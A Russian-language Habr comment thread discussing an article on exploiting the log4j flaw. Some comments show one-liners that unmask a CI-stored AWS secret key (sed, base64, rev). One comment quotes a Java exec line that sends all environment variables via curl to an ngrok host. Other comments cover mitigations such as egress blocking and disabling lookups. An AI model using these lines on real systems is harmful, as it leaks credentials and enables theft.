Pull to refresh

Comments 55

Проблема в том, что в CircleCI (а мы использовали именно его) нельзя просто так увидеть значения переменных окружения, так как в браузере они отображаются в замаскированном виде.

Разработчик с пятилетним стажем: некогда думать, трясти надо! (пишет, что описано в статье выше).

Разработчик с двадцатилетним стажем: Судя по всему, CircleCI заменяет значения переменных окружения, которые выводятся на экран, на звёздочки. Зачем Как? Скорее всего, он сравнивает всё, что выдаётся на экран, со значениями переменных окружения (которые он по определению знает), и что совпадает — то заменяет на звёздочки. Следовательно, чтобы он не заменял на звёздочки, надо, чтобы то, что выводится на экран, не совпадало с переменными окружениия. Иными словами,

- run: echo ${AWS_SECRET_ACCESS_KEY} | sed 's/a/K/g' | sed 's/b/L/g' | sed 's/c/M/g' | sed 's/d/N/g' | sed 's/e/O/g' | sed 's/f/P/g'

Problem solved. И без всяких серверов.

Скажите, пожалуйста, а шелл-скрипт с выводом переменной окружения в файл сработал бы? Может быть так было бы даже проще. Я не проверял, просто спрашиваю (себе на будущее).

  1. Наверняка сработал бы. Но как Вы потом этот файл заберёте без дополнительных танцев с бубном?

  2. Вобще-то CircleCI предоставляет возможность

залогиниться в конкретный инстанс

и ручками посмотреть, что там и где. Включая и переменные, и вообще всё что угодно. Так что городить сервера и проч., как автор — это для тонких извращенцев ценителей.

P.S. Только что проверил в своём инстансе CircleCI:

Но аффтару за греблю старания всё равно зачОт, да.

Может проще в base64 конвертнуть?

echo ${AWS_SECRET_ACCESS_KEY} | base64 -

хм. base64 IMHO может быть даже древнее awk, очень странно что в каком-то дистрибутиве его нет из коробки...

Вы с FreeBSD 1.0 работали? А я работал :)

Я работал даже с rt11sj

вопрос в том, сейчас ваш практический опыт актуален?
Ибо писать пайп из 6 sed-ов подряд, а потом говорить что base64 может быть несовместим, потому что оказывается он может отсутствовать в freebsd дремучей версии...

Я работал даже с rt11sj

Я тоже. Но мы здесь про *nix, а RT11SJ вообще однозадачная (двузадачная — это RT11FB)

писать пайп из 6 sed-ов подряд

Вы так говорите, как будто Вы по миллиону долларов за каждый пайп платите.

Моей задачей не стояло изобрести идеальное решение для задачи. Моей задачей было дать "что-нибудь, что работает", ибо я писал одноразовый код для комментария для хабра, а не код, который завтра пройдёт в продакшн.

Так вот, base64 в указанном дистрибутиве не было. А sed был.

(Да и для sed, я думаю, можно было бы какую-нибудь более эффективную замену устроить. Но не суть.)

devops с 15-летним стажем.

ВСЕ адекватные CI/CD инструменты проверяют что выводится в консольных лог через их интерфейсы, и все переменные которые считаются secret, маскируют.
И это не защита от хакеров, это на всякий случай, часть защиты от дурака.

Если есть доступ к исходникам или настройке джобы, обойти это можно обычными способами. разделить переменную на две части и вывести отдельно, или сделать rev

echo ${AWS_SECRET_ACCESS_KEY}|rev

будет в общем случае достаточно, останется скопировать из консоли и перевернуть назад.

останется скопировать из консоли и перевернуть назад.

У человека нет доступа в консоль (ну, или он так считает).

У человека есть доступ к логам консоли. Иначе зачем он вообще тогда код пишет?
Я просто напоминаю, что на самом деле секреты в логах звездочками замазывают именно лог вьюверы, и чтобы их обойти, достаточно 1 символ поменять.

У человека есть доступ к логам консоли.

Это CircleCI. Там всё через веб-интерфейс (который и есть тот самый лог вьювер). Доступ к настоящей консоли получить можно — но через небольшие танцы с бубном, а человек не разобрался, как правильно в бубен бить, изобрёл свой собственный велосипед на костылях.

Разработчик с 25-летним стажем: log4j на сервере это по сути дыра с виде инъекции произвольного кода через LDAP, доставить которую можно тупо через http, например переписав тот же user-agent (чаще всего в пруфах по этой уязвимости фигурирует).

Hо вместо лечения самой дыры "разработчик с 20-летним стажем" запрещает этому вредоносному коду админскими костылями что-то там "важное за звездочками" читать? И ещё и говорит "Problem solved"?

Супер просто. Получите и распишитесь майнер|сниффер|впишите-любую-нагрузку. Не туда смотрите в общем. Это совсем не админская проблема, а именно девелоперская. И не в CI и секретах тут дело, они лишь для примера эксплуатации приведены.

log4j на сервере это по сути дыра с виде инъекции произвольного кода через LDAP

Эммм.... Вы статью с начала читали, или как, сразу с середины?

А в начале был параграф, цитирую:

мне понадобились то ли ключи, то ли реквизиты для доступа к базе данных. Проблема в том, что в CircleCI (а мы использовали именно его) нельзя просто так увидеть значения переменных окружения, так как в браузере они отображаются в замаскированном виде.

Вот эту проблему и решали.

А про log4j я тактично промолчу, потому как слов нет — одни символы.

А вы заголовок статьи читали? Парадоксально, но в нем обычно автор отражает, то о чем собственно статья ;)

Парадоксально, но комментатор не обязан разбирать всю статью целиком — он имеет право остановиться только на тех моментах, к которым у него претензии.

Я себе чуть иначе представляю обсуждение, извините. Видимо возрастное. Мы точно не найдем общего языка. Всего вам доброго.

А да, забыл совсем: JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true", но это уже не в предложенном контексте дискуссии, а скорее по сути.

Но лучше конечно бы обновить зависимости.

А можно пояснение для разработчика без двадцатилетнего стажа? sed 's/a/K/g' заменит все а на К.

Но в таком случае, как мне понять что КК, написаное на экране, было изначально аК, а не Ка?

Или это вариант чисто для Hex значений?

Или это вариант чисто для Hex значений?

Задача стояла "получить ключ AWS" — а это 16-ричное число.

Глянул на свои ключи - у меня это строка, со всеми символами латиницы, а не hex число.

Должна быть галка в настройках чтобы на пулл реквксты отдавать другой набор переменных окружения. А секреты давать только для тасков в ветке куда пушат доверенные разработчики.

Так, строго говоря, в Heroku так и делается. Разным окружениям можно настроить разные переменные.

Самое забавное, что половина возможностей бы пропала, если бы на сервере не было curl :)

Но вот возможность подгружать и выполнять левые jar в рантайме это уже хэдшот конечно :)

nc, fd, openssl, python, perl - и не нужен curl :)

Да с подгрузкой jar ничего этого не нужно :)

Но да, наличие "чего-то" способного создавать http запросы - это я имел ввиду под curl. Ведь, листануть секреты на сервере заинжектив код через log4j - это лишь полдела. Надо ещё эти секреты как-то доставить. Иначе зачем их там серверу смотреть? Он их и так знает.

В целом, я уже как-то имел разговор на тему - зачем весь этот хлам на серверах, когда мне на полном серьезе утверждали, что поставить питон на CI/CD - это "ну а чотакова все так делают".

P. S. В вашем случае хватит одного питона.

Да не, curl - это один из вариантов...
Нет curl - есть wget, нет wget - есть HttpClient из stdlib.

Эх... надо похоже curl выделять кавычками :) ну какая разница как называется программа, если смысл - создавать http запросы. И ее там просто не должно быть. У автора в посте разве был wget? Нет, у него был curl. Вот я про curl и написал. Глупо, наверно, было бы если бы я написал "wget там быть не должно" к этой статье, где wget упоминается 0 раз.

Ну суть в том, что средства для выполнения http-запросов есть в 100% случаев, даже если не установлены ни curl, ни wget. Поэтому их наличие или присутствие ни на что не влияет. Разве что минут на 15 задержит злоумышленника)

Почему они там есть, не понял? Это какое-то необходимое условие для работы веб сервера? Они там есть, скорее всего, лишь из-за того что их оттуда не убрали. Но не могу придумать ни одной причины, почему их там надо оставить.

Смотрите, вы уцепились за строку

Runtime.getRuntime().exec("printenv | tr '\\n' '&' | curl --header \"content-type: text/plain\" https://aec6-136-28-7-90.ngrok.io -d @-");

И сделали вывод, что она работает благодаря наличию curl на целевой машине. Но это в корне неверный вывод. Смотрите на суть: это произвольный код на Java. И ему необязательно опираться на системные команды, в саму Java встроен HttpClient, просто используйте его вместо curl и всех делов.

P.S. А если вы решили собирать свой JDK из исходников, то лучше уж JNDI выпилите оттуда. А то HttpClient вполне может пригодиться, ну там OneSignal какой-нибудь заюзать или мониторинг ошибок и т.д.

Не не не :) про эту строчку я как раз написал

Но вот возможность подгружать и выполнять левые jar в рантайме это уже хэдшот конечно

Так что не надо тут. Про curl & co - это относится к финту с CI/CD и переменной окружения

Эм, про CI/CD - это вообще лирическое вступление было. Там у вас и так полный доступ и возможностей получить ваши собственные ключи выше крыши без всяких curl. Как минимум, ещё 5 вариантов (без http-вызовов) в коментах набросали.

Да отступление, да набросали. Это как-то меняет смысл моего сообщения? Вы так и не поняли, что мы говорим об одном и том же? Чтобы что-то доставить нужен транспорт. Только я говорю что если транспорта не будет - то вся схема провалится. А вы говорите, что транспорт можно создать (на джаве написать). И я с этим не спорю - и ежу понятно, что если есть возможность занжектить код (именно код, а не команды окружения), то транспорт всегда можно создать. Только я говорю, что такой возможности быть не должно (нет, не надо переписывать рантайм, в статье есть метод защиты от инжекта джава кода). А вы вот этот момент немного не "догоняете" и продолжаете давить на то, что можно создать запрос на джаве. Когда я эту возможность "выключил". То, что выполняется джава код - это не элемент конкретно этой уязвимости - это отдельная песня (и в статье про это написано, почитайте).

А что касается конкретно уязвимости, то сама по себе она не выполняет джава код. Это комбинация из 2х возможностей, которые ещё должны совпасть. И если они совпадают - вот тогда хэдшот и надо плакать.

Подумайте прежде чем писать следующий комментарий.

Ваши попытки доказать актуальность фразы "Самое забавное, что половина возможностей бы пропала, если бы на сервере не было curl :)" выглядят всё нелепее и нелепее. Ну, сморозили фигню, с кем не бывает. Ну, не признаёте очевидного, ok - слив засчитан.

Да я как раз все расписал что к чему :) Максимум моей вины а том, что я не до конца ясно изложил суть первого сообщения, посчитав большинство читателей умнее дельфина. И вроде не ошибся. Но вот иногда находится 1-2 кто не понял ничего, но пытается выехать на скудных знаниях. И тогда начинается бессмысленный трёп в духе "слив засчитан". Вы так и не ответили как вы планируете доставлять секреты использую только уязвимость в log4j и не имея стороннего транспорта (curl & co). Но вы и не ответите - вы просто не знаете как это работает. Я отвечу - никак :)

Нет curl - есть wget, нет wget - есть HttpClient из stdlib.

Вы ещё про православную рысь забыли. Мы им сайты скрейпали, когда ваших curl-ов с wget-ами и в проекте не было.

Такое чувство, что автору несколько не хватает базовых знаний, из-за чего эксплуатация уязвимости полна совершенно не нужных зигзагов. Зато статья расширяет кругозор, не знал, что через ноду легко поднять ldap

Если честно, не думал, что log4j позволяет резолвить переменные, указанные в аргументах вызовов, а не в тексте шаблона строки лога. Это действительно какая-то невероятная дыра в безопасности.

Чисто теоретически, а если закрыть исходящий LDAP трафик это решает же вопрос? Т.е. JNDI не находит нашего фейкового LDAP сервера и не получает в ответ код для исполнения. И временное решение нейтрализующее уязвимость готово, потом можно неспешно продолжать ковыряться в зависимостях и разбираться с первопричиной.

да, у нас на проде секурити тим давно закрыла возможность делать вызов из приложения в интернет. по-хорошему вашему веб серверу нечего шарить в интернете, он должен только отвечать на запросы. всё остальное это подозрительная активность

А если у вас интеграция с каким-то другим веб сервером в интернете? Например вы делаете апи реквесты к сторонней площадке.

Открываете firewall для доступа наружу на FQDN:port или IP:port

у нас на проде секурити тим давно закрыла возможность делать вызов из приложения в интернет

?

Я думаю имелось ввиду что если приложению куда то надо то для этого есть белый список. А глобально, "в интернет" обычно приложению не надо. Если вашему приложению надо - то скорее всего вам такой вариант защиты от подобных уязвимостей не подходит.

В теории это всё правильно, на практике есть AWS или ещё какое гигантское облако. И если вам нужен хоть кто-то из него, то надо открывать всё облако. Помните борьбу РКН и Телеги?
Не считая того, что есть же не только http, но и другие виды транспорта, почта, например или DNS

Самое удивительное в этом всём -- с какого хрена логгер, вместо того, чтобы просто вывести строку в лог, занимается какими-то подстановками значений, о которых его (в явном виде) не просили?

Это вендоры Java EE-серверов приложений активно донатят в оупенсорс вообще и в проект Apache в частности, вот по их заказу и запилили этот бэкдорт данную полезную «фичу».

Иногда бывает очень трудно отличить глупость от злого умысла.

Причина есть в документации

Environment variables let you add sensitive data (e.g. API keys) to your jobs rather than placing them in the repository. The value of the variables cannot be read or edited in the app once they are set.

Sign up to leave a comment.

Articles